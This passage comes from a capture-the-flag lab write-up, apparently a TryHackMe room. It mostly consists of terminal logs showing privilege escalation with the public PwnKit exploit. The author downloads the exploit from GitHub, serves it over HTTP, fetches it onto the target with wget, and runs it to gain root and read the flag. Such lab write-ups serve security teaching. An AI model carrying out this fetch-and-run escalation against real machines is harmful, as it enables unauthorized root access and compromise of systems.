HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit [following]
--2026-07-26 19:42:40-- https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K) [application/octet-stream]
Saving to: 'PwnKit'
PwnKit 100%[=====================================================================================================>] 17.62K --.-KB/s in 0.001s
2026-07-26 19:42:41 (29.6 MB/s) - 'PwnKit' saved [18040/18040]
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
On Target machine -
dylan@year-of-the-dog:~$ wget http://10.49.70.222:8000/PwnKit -O PwnKit
--2026-07-26 20:44:46-- http://10.49.70.222:8000/PwnKit
Connecting to 10.49.70.222:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18040 (18K)
Saving to: 'PwnKit'
PwnKit 100%[=====================================================================================================>] 17.62K --.-KB/s in 0s
2026-07-26 20:44:46 (475 MB/s) - 'PwnKit' saved [18040/18040]Then, we execute -
dylan@year-of-the-dog:~$ chmod +x PwnKit
dylan@year-of-the-dog:~$ ./PwnKitAnd, now we are root! -
root@year-of-the-dog:/home/dylan#
root@year-of-the-dog:/home/dylan# id
Get the Root flag from /root/root.txt -
root@year-of-the-dog:/home/dylan# id
uid=0(root) gid=0(root) groups=0(root),1000(dylan)
root@year-of-the-dog:/home/dylan# ls /root
root.txt
root@year-of-the-dog:/home/dylan# cat /root/root.txt
THM{<REDACTED>}And there we have solved the room!